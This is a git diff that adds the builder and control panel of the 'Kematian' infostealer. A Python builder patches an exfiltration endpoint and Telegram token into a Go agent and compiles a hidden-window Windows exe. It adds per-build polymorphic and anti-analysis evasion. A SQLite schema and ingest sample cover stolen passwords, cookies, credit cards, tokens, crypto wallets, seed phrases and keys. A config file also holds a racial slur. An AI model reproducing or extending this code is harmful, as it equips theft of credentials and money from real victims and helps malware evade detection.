+resulting .exe into builds/ so it can be downloaded. The original source is +never touched. + +Results + build output are kept per build so the UI can show a log and offer a +download link. +""" +import os +import shutil +import subprocess +import tempfile +import time +import threading + +# Directory that holds the native Go source tree (go.mod lives here). +# Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative +# locations so a relative default never one level too deep (../.. would skip the +# repo folder). Probe both "../../" and "../" style layouts. +_here = os.path.dirname(os.path.abspath(__file__)) +NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "") +_TRIED_ROOTS = [ + os.path.join(_here, "..", "..", "Kematian-Standalone", "native"), + os.path.join(_here, "..", "Kematian-Standalone", "native"), + os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"), +] +# Where built .exe files are published for download. +BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds")) + +_build_lock = threading.Lock() +_last_build_id = [0] +_jobs = {} # id -> {status, log, exe, error, created} + + +def _resolve_native_dir(): + """Return the path to the Go source tree, or None if not found. + + A candidate is only valid if it has go.mod AND the source files we patch + (recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship + go.mod and would produce a confusing build error, so we skip them. + """ + def is_valid(p): + return (os.path.exists(os.path.join(p, "go.mod")) + and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go")) + and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go"))) + + if NATIVE_DIR: + cand = os.path.normpath(NATIVE_DIR) + if is_valid(cand): + return cand + for root in _TRIED_ROOTS: + cand = os.path.normpath(root) + if is_valid(cand): + return cand + return None + + +def _patch(text, replacements): + for old, new in replacements: + if old not in text: + return None, f"pattern not found: {old!r}" + text = text.replace(old, new) + return text, None + + +def _sh_rmtree_git(dirpath): + """Remove stray .git dirs at the source root of a copied tree.""" + import shutil as _sh + _sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True) + + +def _find_cargo(): + """Locate the cargo executable (prefer env override, then PATH).""" + override = os.environ.get("BUILDER_CARGO") + if override and os.path.exists(override): + return override + from shutil import which + return which("cargo") + + +def _write_gen(gen_path): + """Regenerate src/gen.rs with fresh random constants so each build produces a + distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL.""" + import secrets + + def rnd(): + return secrets.randbelow((1 << 32) - 1) + + def rnd8(): + # avoid 0x00 so XOR keystream keys are never trivially identity + return secrets.randbelow(255) + 1 + + def rnd16(): + return secrets.randbelow((1 << 16) - 1) | 1 + + def rnd64(): + return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1) + + seed = rnd() | 1 + k_token = rnd8() + k_vendor = rnd8() + k_smbios = rnd8() + k_env = rnd8() + k_display = rnd8() + junk_xor = rnd() | 1 + junk_rot = rnd() | 1 + junk_n = secrets.randbelow(16) + 4 + opaque_tag = rnd64() + + # Additional polymorphic constants for new features + # Control flow flattening state key + cff_key = rnd() | 1 + # Syscall spoofing trampoline selector + syscall_tramp = secrets.randbelow(8) + 1 + # Sleep encryption round count + sleep_rounds = secrets.randbelow(4) + 3 + # Anti-hook check order permutation seed + hook_order_seed = rnd() | 1 + # Stack spoofing offset + stack_spoof_off = secrets.randbelow(0x1000) + 0x100 + # Junk block variant selector + junk_variant = secrets.randbelow(4) + # Opaque predicate complexity + opaque_complexity = secrets.randbelow(3) + 1 + + content = ( + "// AUTO-GENERATED per build by builder.py. Do not edit.\n" + "// Each build rewrites this file, so the guard's keys, seeds and junk\n" + "// blocks are unique to every artifact.\n\n" + f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n" + f"pub const K_TOKEN: u8 = {k_token};\n" + f"pub const K_VENDOR: u8 = {k_vendor};\n" + f"pub const K_SMBIOS: u8 = {k_smbios};\n" + f"pub const K_ENV: u8 = {k_env};\n" + f"pub const K_DISPLAY: u8 = {k_display};\n\n" + f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n" + f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n" + f"pub const JUNK_N: u32 = {junk_n};\n\n" + f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n" + "// Polymorphic control-flow / evasion layer constants\n" + f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n" + f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n" + f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n" + f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n" + f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n" + f"pub const JUNK_VARIANT: u8 = {junk_variant};\n" + f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n" + ) + with open(gen_path, "w", encoding="utf-8", errors="replace") as f: + f.write(content) + + +def _get_rustflags(): + """Generate per-build RUSTFLAGS for codegen variance.""" + import secrets + flags = [ + "-C", "opt-level=2", # or 's' or 'z' randomly + "-C", "lto=thin", + "-C", "codegen-units=1", + "-C", "panic=abort", + "-C", "strip=symbols", + ] + # Randomly vary optimization level + opt_level = secrets.choice(["2", "3", "s", "z"]) + flags[1] = opt_level + + # Randomly vary codegen units (affects function layout) + cgu = secrets.choice(["1", "2", "4", "8"]) + flags[5] = cgu + + # Randomly enable/disable specific optimizations + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"]) + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"]) + if secrets.randbelow(2): + flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"]) + + # Random target-cpu for instruction selection variance + cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"]) + flags.extend(["-C", f"target-cpu={cpu}"]) + + return flags + + +def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir): + # --- build the Rust anti-analysis extractor so every build ships a fresh, + # guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it + # produces is copied to recovery/platform/compat-layer.dll inside + # the copied tree before `go build` runs. rust_dir is the *real* sibling of + # the source native tree (not inside the temp copy). + if os.path.exists(os.path.join(rust_dir, "Cargo.toml")): + cargo = _find_cargo() + if cargo: + try: + # Polymorphic layer: regenerate the per-build constants before + # compiling so every artifact gets a unique binary / hash. + gen_path = os.path.join(rust_dir, "src", "gen.rs") + try: + _write_gen(gen_path) + except Exception: + pass # keep existing gen.rs if regeneration fails + + subprocess.run( + [cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"], + cwd=rust_dir, capture_output=True, text=True, timeout=900, + env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())}, + ) + built_dll = os.path.join( + rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll" + ) + dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll") + if os.path.exists(built_dll) and os.path.exists(dest_dll): + shutil.copy2(built_dll, dest_dll) + except Exception: + pass # keep the already-present DLL if Rust rebuild fails + + main_path = os.path.join(work_dir, "cmd", "exfil", "main.go") + panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go") + + if not os.path.exists(panel_path): + return "source missing: recovery/exfil/panel.go not found in the copied tree" + if not os.path.exists(main_path): + return "source missing: cmd/exfil/main.go not found in the copied tree" + + # --- patch panel.go: endpoint + auth + with open(panel_path, "r", encoding="utf-8", errors="replace") as f: + text = f.read() + text, err = _patch(text, [ + ('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'), + ('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'), + ]) + if err: + return err + with open(panel_path, "w", encoding="utf-8") as f: + f.write(text) + + # --- patch main.go: telegram (only if provided) + with open(main_path, "r", encoding="utf-8", errors="replace") as f: + text = f.read() + if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE": + text, err = _patch(text, [ + ('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'), + ('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'), + ]) + if err: + return err + else: + # telegram disabled: nothing to patch, code checks for placeholder anyway + pass + with open(main_path, "w", encoding="utf-8") as f: + f.write(text) + + # --- build + env = dict(os.environ) + env["CGO_ENABLED"] = "1" + env.setdefault("GOOS", "windows") + env.setdefault("GOARCH", "amd64") + + out_path = os.path.join(work_dir, "kematian.exe") + cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"] + proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200) + log = proc.stdout + proc.stderr + if proc.returncode != 0: + return "BUILD FAILED\n" + log + + if not os.path.exists(out_path): + return "build ok but no exe produced\n" + log + + os.makedirs(BUILDS_DIR, exist_ok=True) + safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") + filename = f"{safe}.exe" + dest = os.path.join(BUILDS_DIR, filename) + shutil.copy2(out_path, dest) + return None # success; log returned separately + + +def start_build(endpoint, auth, bot_token, chat_id, build_name): + with _build_lock: + _last_build_id[0] += 1 + build_id = _last_build_id[0] + _jobs[build_id] = { + "status": "running", + "log": "", + "exe": None, + "error": None, + "created": int(time.time()), + } + + def worker(): + job = _jobs[build_id] + native = _resolve_native_dir() + if not native: + job["status"] = "error" + job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR." + return + tmp = tempfile.mkdtemp(prefix="kematian-build-") + try: + shutil.copytree(native, tmp, dirs_exist_ok=True) + _sh_rmtree_git(tmp) + # Real rust-extractor sits next to the native tree on disk. + rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor")) + err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir) + if err: + job["status"] = "error" + job["error"] = err + else: + safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_") + exe = os.path.join(BUILDS_DIR, f"{safe}.exe") + job["status"] = "done" + job["exe"] = exe + except Exception as e: + job["status"] = "error" + job["error"] = str(e) + finally: + shutil.rmtree(tmp, ignore_errors=True) + + threading.Thread(target=worker, daemon=True).start() + return build_id + + +def job_status(build_id): + return _jobs.get(build_id) + + +def all_jobs(): + return dict(_jobs) diff --git a/panel/crypto.py b/panel/crypto.py new file mode 100644 index 0000000..aec41ee --- /dev/null +++ b/panel/crypto.py @@ -0,0 +1,72 @@ +""" +End-to-end encryption for the collector channel. + +Project: https://t.me/electronic_sex + +Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go): + - agent generates an ephemeral X25519 keypair per message + - shared = ECDH(agent_ephemeral_priv, panel_public) + - key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32) + - ct = ChaCha20-Poly1305(key, nonce=12B random) + - wire = base64( ephemeral_pub(32) || nonce(12) || ct ) + The panel private key is the ONLY thing able to decrypt. The agent never + knows it; the panel never sends secrets over the wire. +""" +import base64 +import os + +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey +from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305 +from cryptography.hazmat.primitives.kdf.hkdf import HKDF + +PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key") + +SALT = b"kematian-e2ee-salt" +INFO = b"kematian-e2ee-v1" +KEY_LEN = 32 +NONCE_LEN = 12 +PUB_LEN = 32 + + +def load_or_create_keypair() -> X25519PrivateKey: + if os.path.exists(PRIV_KEY_FILE): + with open(PRIV_KEY_FILE, "rb") as f: + return X25519PrivateKey.from_private_bytes(f.read()) + sk = X25519PrivateKey.generate() + with open(PRIV_KEY_FILE, "wb") as f: + f.write(sk.private_bytes( + serialization.Encoding.Raw, + serialization.PrivateFormat.Raw, + serialization.NoEncryption(), + )) + return sk + + +def public_key_hex() -> str: + return load_or_create_keypair().public_key().public_bytes( + serialization.Encoding.Raw, serialization.PublicFormat.Raw + ).hex() + + +def _derive_key(shared: bytes) -> bytes: + return HKDF( + algorithm=hashes.SHA256(), + length=KEY_LEN, + salt=SALT, + info=INFO, + ).derive(shared) + + +def decrypt_wire(payload_b64: str) -> bytes: + raw = base64.b64decode(payload_b64) + if len(raw) < PUB_LEN + NONCE_LEN + 16: + raise ValueError("payload too short") + ephemeral_pub = raw[:PUB_LEN] + nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN] + ct = raw[PUB_LEN + NONCE_LEN:] + + sk = load_or_create_keypair() + shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub)) + key = _derive_key(shared) + return ChaCha20Poly1305(key).decrypt(nonce, ct, None) diff --git a/panel/db.py b/panel/db.py new file mode 100644 index 0000000..186aadc --- /dev/null +++ b/panel/db.py @@ -0,0 +1,246 @@ +""" +Kematian Collector Panel - SQLite schema and access layer. + +Every category from the agent's CollectionResult gets its own table, all +keyed to a client row. Lookups are done through this module so the web +templates stay clean and the ingest endpoint stays idempotent. +""" +import os +import sqlite3 +import threading + +DB_PATH = os.path.join(os.path.dirname(__file__), "kematian.db") +_lock = threading.Lock() + +SCHEMA = """ +CREATE TABLE IF NOT EXISTS clients ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL UNIQUE, + os TEXT, + arch TEXT, + version TEXT, + ip TEXT, + country TEXT, + user_agent TEXT, + first_seen INTEGER, + last_seen INTEGER, + total_entries INTEGER DEFAULT 0 +); + +CREATE TABLE IF NOT EXISTS passwords ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, + username TEXT, + password TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS cookies ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + host TEXT, + name TEXT, + value TEXT, + path TEXT, + secure INTEGER, + http_only INTEGER, + expires_utc INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS autofill ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + value TEXT, + date_created INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + url TEXT, + title TEXT, + visit_time_unix INTEGER, + visit_count INTEGER, + last_visit_time INTEGER, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS bookmarks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + url TEXT, + type TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS credit_cards ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name_on_card TEXT, + expiration_month INTEGER, + expiration_year INTEGER, + card_number TEXT, + nickname TEXT, + browser TEXT, + profile TEXT +); + +CREATE TABLE IF NOT EXISTS discord_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + token TEXT, + source TEXT +); + +CREATE TABLE IF NOT EXISTS files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + path TEXT, + name TEXT, + ext TEXT, + size INTEGER, + modified INTEGER, + dir TEXT, + tags TEXT +); + +CREATE TABLE IF NOT EXISTS extensions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + ext_id TEXT, + name TEXT, + version TEXT, + browser TEXT, + profile TEXT, + path TEXT, + category TEXT +); + +CREATE TABLE IF NOT EXISTS wallets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + name TEXT, + type TEXT, + path TEXT, + files INTEGER, + size INTEGER, + addresses TEXT, + vault_data TEXT +); + +CREATE TABLE IF NOT EXISTS telegram ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + account TEXT, + path TEXT, + files INTEGER, + size INTEGER +); + +CREATE TABLE IF NOT EXISTS keys ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + type TEXT, + name TEXT, + path TEXT, + size INTEGER, + content TEXT +); + +CREATE TABLE IF NOT EXISTS app_credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + application TEXT, + host TEXT, + port INTEGER, + username TEXT, + password TEXT, + protocol TEXT, + extra TEXT +); + +CREATE TABLE IF NOT EXISTS seeds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + source TEXT, + path TEXT, + phrase TEXT, + words INTEGER +); + +CREATE TABLE IF NOT EXISTS gaming ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + platform TEXT, + payload TEXT +); + +CREATE TABLE IF NOT EXISTS steam_tokens ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + steam_id TEXT, + token TEXT +); + +CREATE TABLE IF NOT EXISTS vpns ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + vpn TEXT, + payload TEXT +); + +CREATE TABLE IF NOT EXISTS admin ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT NOT NULL UNIQUE, + password_hash TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS blobs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + category TEXT, + name TEXT, + filename TEXT, + size INTEGER, + created INTEGER +); + +CREATE TABLE IF NOT EXISTS abuse_checker ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + filename TEXT, + wordlist TEXT, + mailpass TEXT, + combos TEXT, + check_type TEXT, + time INTEGER +); +""" + + +def get_conn(): + conn = sqlite3.connect(DB_PATH) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA foreign_keys=ON") + return conn + + +def init_db(): + with _lock: + conn = get_conn() + try: + conn.executescript(SCHEMA) + conn.commit() + finally: + conn.close() diff --git a/panel/example_post.py b/panel/example_post.py new file mode 100644 index 0000000..3d4ecef --- /dev/null +++ b/panel/example_post.py @@ -0,0 +1,49 @@ +""" +Example collector that mirrors the panel ingest contract. + +Point this at a running panel and it pushes a sample CollectionResult. + +Usage: python example_post.py (or edit to set your own values) +""" +import json +import urllib.request + +PANEL = "http://localhost:5000/api/ingest" +KEY = "kematian-ingest-key-CHANGE-ME" + +payload = { + "clientId": "demo-client-01", + "host": {"os": "Windows 11", "arch": "x64", "version": "10.0.22631"}, + "passwords": [ + {"url": "https://github.com", "username": "demo", "password": "hunter2", + "browser": "chrome", "profile": "Default"}, + ], + "cookies": [ + {"host": ".example.com", "name": "session", "value": "abc123", + "path": "/", "secure": True, "httpOnly": True, "browser": "chrome", "profile": "Default"}, + ], + "creditCards": [ + {"nameOnCard": "Demo User", "expirationMonth": 12, "expirationYear": 2029, + "cardNumber": "4111111111111111", "browser": "edge", "profile": "Profile 1"}, + ], + "discordTokens": [ + {"token": "fake.discord.token.here", "source": "C:\\Users\\demo\\AppData\\Roaming\\discord"}, + ], + "wallets": [ + {"name": "MetaMask", "type": "chrome", "path": "C:\\...\\MetaMask", "size": 2048}, + ], + "gaming": {"steam": {"steamPath": "C:\\Program Files (x86)\\Steam", "account": "demo"}}, + "vpns": {"nordvpn": [{"version": "6.0", "username": "demo", "password": "pw"}]}, +} + +req = urllib.request.Request( + PANEL, + data=json.dumps(payload).encode(), + headers={"Authorization": f"Bearer {KEY}", "Content-Type": "application/json"}, + method="POST", +) +try: + with urllib.request.urlopen(req) as resp: + print(resp.status, resp.read().decode()) +except Exception as e: + print("FAILED:", e) diff --git a/panel/panel.env b/panel/panel.env new file mode 100644 index 0000000..741da47 --- /dev/null +++ b/panel/panel.env @@ -0,0 +1,2 @@ +PANEL_INGEST_KEY=blackniggers +PANEL_SECRET=32751763224324 diff --git a/panel/requirements.txt b/panel/requirements.txt new file mode 100644 index 0000000..4b14e32 --- /dev/null +++ b/panel/requirements.txt @@ -0,0 +1,3 @@ +Flask==3.0.3 +Werkzeug==3.0.3 +cryptography>=42.0.0 diff --git a/panel/reset.bat b/panel/reset.bat new file mode 100644 index 0000000..05d9717 --- /dev/null +++ b/panel/reset.bat @@ -0,0 +1,54 @@ +@echo off +rem ============================================================ +rem Kematian panel - full reset +rem Project: https://t.me/electronic_sex +rem +rem Stops the panel, then deletes: +rem - kematian.db (all clients / loot / admin account) +rem - kematian_e2ee.key (E2EE keypair - regenerates on start) +rem - .setup_done (re-enables /setup) +rem - builds\*.exe (previously built agents) +rem - loot\* (hosted files) +rem - __pycache__ (stale bytecode) +rem - final\kematian.exe (built agent) +rem - final\kematian.log (agent run log) +rem +rem Keeps panel.env (ingest key / secret). Delete panel.env too if +rem you want setup.bat to prompt for fresh credentials again. +rem ============================================================ +cd /d "%~dp0" + +echo. +echo This will WIPE all collected data and the admin account. +echo Built agents under builds\ and final\ are deleted too. +echo (panel.env with your ingest key is KEPT.) +echo. +set /p confirm="Type RESET to continue, anything else to cancel: " +if /i not "%confirm%"=="RESET" ( + echo Cancelled. + pause + exit /b 0 +) + +echo. +echo [1/2] Stopping any running panel (port 5000)... +for /f "tokens=5" %%p in ('netstat -ano ^| findstr ":5000" ^| findstr "LISTENING"') do ( + echo killing PID %%p + taskkill /f /pid %%p >nul 2>&1 +) + +echo [2/2] Deleting state... +if exist kematian.db del /f kematian.db +if exist kematian_e2ee.key del /f kematian_e2ee.key +if exist .setup_done del /f .setup_done +if exist builds del /f /q builds\*.exe 2>nul +if exist loot rmdir /s /q loot +if exist __pycache__ rmdir /s /q __pycache__ +if exist "..\Kematian-Standalone\final\kematian.exe" del /f "..\Kematian-Standalone\final\kematian.exe" +if exist "..\Kematian-Standalone\final\kematian.log" del /f "..\Kematian-Standalone\final\kematian.log" + +echo. +echo Done. Start the panel with setup.bat (or python app.py) and +echo visit http://localhost:5000/setup to create a fresh admin account. +echo. +pause diff --git a/panel/reset_password.bat b/panel/reset_password.bat new file mode 100644 index 0000000..ba33ebf --- /dev/null +++ b/panel/reset_password.bat @@ -0,0 +1,35 @@ +@echo off +rem ============================================================ +rem Kematian panel - reset admin password (keeps all data) +rem Project: https://t.me/electronic_sex +rem ============================================================ +cd /d "%~dp0" + +if not exist kematian.db ( + echo No database found. Start the panel once (setup.bat) first. + pause + exit /b 1 +) + +echo. +set /p user="Admin username [leave empty for first admin]: " +set /p pass="New password (min 6 chars): " + +if "%pass%"=="" ( + echo Password cannot be empty. + pause + exit /b 1 +) + +python -c "import sqlite3,sys; from werkzeug.security import generate_password_hash; c=sqlite3.connect('kematian.db'); where=('id=(SELECT id FROM admin ORDER BY id LIMIT 1)' if sys.argv[1]=='' else 'username=?'); q='UPDATE admin SET password_hash=? WHERE '+where; args=[generate_password_hash(sys.argv[2])]+([sys.argv[1]] if sys.argv[1] else []); n=c.execute(q,args).rowcount; c.commit(); c.close(); sys.exit(0 if n else 1)" "%user%" "%pass%" +if errorlevel 1 ( + echo. + echo [!] No matching admin account found. User not updated. + pause + exit /b 1 +) + +echo. +echo Password updated. Log in with the new credentials. +echo (Data, clients and loot are untouched.) +pause diff --git a/panel/setup.bat b/panel/setup.bat new file mode 100644 index 0000000..58471cb --- /dev/null +++ b/panel/setup.bat @@ -0,0 +1,78 @@ +@echo off +rem ============================================================ +rem Kematian panel setup + start +rem Project: https://t.me/electronic_sex +rem +rem Prompts for the ingest key (and session secret) on first run, +rem saves them to panel.env, reuses them on later runs, then +rem installs deps and starts the panel with those env vars. +rem ============================================================ +setlocal enabledelayedexpansion +cd /d "%~dp0" + +set "CFG=panel.env" + +echo. +echo ============================================================ +echo Kematian panel setup +echo Project: https://t.me/electronic_sex +echo ============================================================ +echo. + +rem ---- load existing config or prompt for fresh values ---- +if exist "%CFG%" ( + call :loadcfg + echo Found existing config: ingest key = !PANEL_INGEST_KEY! + set /p redo="Re-enter ingest key and secret? [y/N]: " + if /i "!redo!"=="y" set "FRESH=1" +) else ( + set "FRESH=1" +) + +if defined FRESH ( + set /p PANEL_INGEST_KEY="Ingest key (agent PanelAuth must match this) [CHANGE-ME]: " + if "!PANEL_INGEST_KEY!"=="" set "PANEL_INGEST_KEY=CHANGE-ME" + set /p PANEL_SECRET="Panel session secret (press Enter for random): " + if "!PANEL_SECRET!"=="" set "PANEL_SECRET=%RANDOM%%RANDOM%%RANDOM%" + >"%CFG%" ( + echo PANEL_INGEST_KEY=!PANEL_INGEST_KEY! + echo PANEL_SECRET=!PANEL_SECRET! + ) + echo Saved to %CFG% +) + +call :loadcfg + +echo. +echo Using ingest key : %PANEL_INGEST_KEY% +echo Using secret : %PANEL_SECRET% +echo. + +echo [1/2] Installing Python dependencies... +python -m pip install -r requirements.txt +if errorlevel 1 ( + echo. + echo [!] pip install failed. Make sure Python is on PATH. + pause + exit /b 1 +) + +echo [2/2] Starting panel... +echo. +echo First run? Open http://localhost:5000/setup to create the admin +echo account, then http://localhost:5000/ to log in. +echo. +echo When building an agent, set PanelAuth / ingest key to: +echo %PANEL_INGEST_KEY% +echo. +echo Press Ctrl+C to stop the panel. +echo. +python app.py +pause +exit /b 0 + +rem ---- read KEY=VALUE lines from the config file ---- +:loadcfg +if not exist "%CFG%" exit /b 0 +for /f "usebackq tokens=1,* delims==" %%a in ("%CFG%") do set "%%a=%%b" +exit /b 0 diff --git a/panel/static/css/style.css b/panel/static/css/style.css new file mode 100644 index 0000000..96cf629 --- /dev/null +++ b/panel/static/css/style.css @@ -0,0 +1,307 @@ +:root { + --bg: #0a0a0f; + --bg-2: #131318; + --bg-3: #1b1b22; + --bg-4: #232330; + --border: #26262f; + --border-2: #33333d; + --text: #ececf1; + --muted: #8b8b98; + --dim: #5b5b66; + --accent: #a855f7; + --accent-2: #7c3aed; + --accent-soft: rgba(168, 85, 247, 0.12); + --accent-dim: rgba(168, 85, 247, 0.18); + --green: #34d399; + --green-dim: rgba(52, 211, 153, 0.12); + --red: #f87171; + --red-dim: rgba(248, 113, 113, 0.12); + --purple-1: #c084fc; + --mono: "JetBrains Mono", "Cascadia Code", Consolas, monospace; +} + +* { box-sizing: border-box; } + +html, body { + margin: 0; + padding: 0; + background: var(--bg); + color: var(--text); + font-family: "Inter", system-ui, -apple-system, sans-serif; + font-size: 14px; + line-height: 1.5; + -webkit-font-smoothing: antialiased; +} + +a { color: inherit; text-decoration: none; } + +.mono { font-family: var(--mono); font-size: 12px; } +.accent { color: var(--accent); } +.muted { color: var(--muted); } + +::-webkit-scrollbar { width: 9px; height: 9px; } +::-webkit-scrollbar-thumb { background: var(--border-2); border-radius: 6px; } +::-webkit-scrollbar-thumb:hover { background: var(--accent-2); } +::-webkit-scrollbar-track { background: transparent; } + +/* ---------- sidebar ---------- */ +.sidebar { + position: fixed; + left: 0; top: 0; bottom: 0; + width: 248px; + background: var(--bg-2); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + overflow-y: auto; + z-index: 20; + padding: 20px 14px; +} + +.brand { + display: flex; + align-items: center; + gap: 11px; + padding: 2px 6px 18px; +} +.brand-logo { + width: 38px; height: 38px; + border-radius: 11px; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; + font-size: 19px; + color: #fff; + box-shadow: 0 4px 16px rgba(124, 58, 237, 0.4); +} +.brand-name { font-size: 19px; font-weight: 800; letter-spacing: -0.4px; color: #fff; } +.brand-dot { color: var(--accent); } + +.profile { + background: var(--bg-3); + border: 1px solid var(--border); + border-radius: 14px; + padding: 14px; + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 20px; +} +.profile-avatar { + width: 42px; height: 42px; + border-radius: 12px; + background: linear-gradient(135deg, #2a2a35, #1e1e27); + border: 1px solid var(--border-2); + display: flex; align-items: center; justify-content: center; + font-weight: 700; font-size: 18px; color: var(--accent); +} +.profile-name { font-weight: 600; font-size: 14px; } +.profile-role { font-size: 11px; color: var(--muted); margin-top: 1px; } + +.nav-group-label { + font-size: 10px; + text-transform: uppercase; + letter-spacing: 1.2px; + color: var(--dim); + font-weight: 700; + padding: 14px 8px 6px; +} + +.nav { display: flex; flex-direction: column; gap: 3px; } +.nav-item { + display: flex; + align-items: center; + gap: 11px; + padding: 9px 12px; + border-radius: 10px; + color: var(--muted); + font-weight: 500; + font-size: 13px; + transition: background 0.15s, color 0.15s; +} +.nav-item:hover { background: var(--bg-3); color: var(--text); } +.nav-item .nav-ico { width: 17px; height: 17px; flex: 0 0 17px; opacity: 0.85; } + +.sidebar-foot { + margin-top: auto; + padding: 14px 6px 4px; + border-top: 1px solid var(--border); + display: flex; + flex-direction: column; + gap: 8px; +} +.online { display: flex; align-items: center; gap: 7px; font-size: 12px; color: var(--text); font-weight: 600; } +.online-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 8px var(--green); } +.foot-user { font-size: 12px; color: var(--muted); } +.logout-btn { margin-top: 4px; padding: 9px 12px; border-radius: 10px; background: var(--red-dim); color: var(--red); font-weight: 600; font-size: 13px; text-align: center; transition: background 0.15s; } +.logout-btn:hover { background: rgba(248, 113, 113, 0.2); } + +/* ---------- main ---------- */ +.main.with-sidebar { margin-left: 248px; } +.main { padding: 26px 30px 60px; } + +.flash { padding: 12px 16px; margin-bottom: 18px; border-radius: 12px; border: 1px solid var(--border); font-size: 13px; } +.flash-success { background: var(--green-dim); border-color: rgba(52, 211, 153, 0.3); color: var(--green); } +.flash-error { background: var(--red-dim); border-color: var(--red); color: var(--red); } +.flash-info { background: var(--bg-3); } + +/* ---------- page head ---------- */ +.page-head { + display: flex; + align-items: flex-start; + justify-content: space-between; + 